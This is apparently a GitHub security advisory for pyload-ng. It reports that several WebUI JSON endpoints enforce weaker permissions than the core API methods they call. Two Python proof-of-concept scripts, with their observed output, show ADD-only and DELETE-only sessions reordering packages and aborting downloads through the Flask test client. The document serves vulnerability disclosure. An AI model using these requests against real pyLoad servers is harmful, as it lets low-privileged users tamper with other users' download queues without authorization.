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pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Moderate severity GitHub Reviewed Published Apr 7, 2026 in pyload/pyload • Updated Apr 8, 2026

Package

pip pyload-ng (pip)

Affected versions

<= 0.5.0b3

Patched versions

None

Description

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type:

  • Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:

  • Horizontal privilege escalation among authenticated non-admin users.
  • Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:

  • Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
  • Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

References

@GammaC0de GammaC0de published to pyload/pyload Apr 7, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026
Last updated Apr 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

EPSS score

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-rfgh-63mg-8pwm

Source code

Credits

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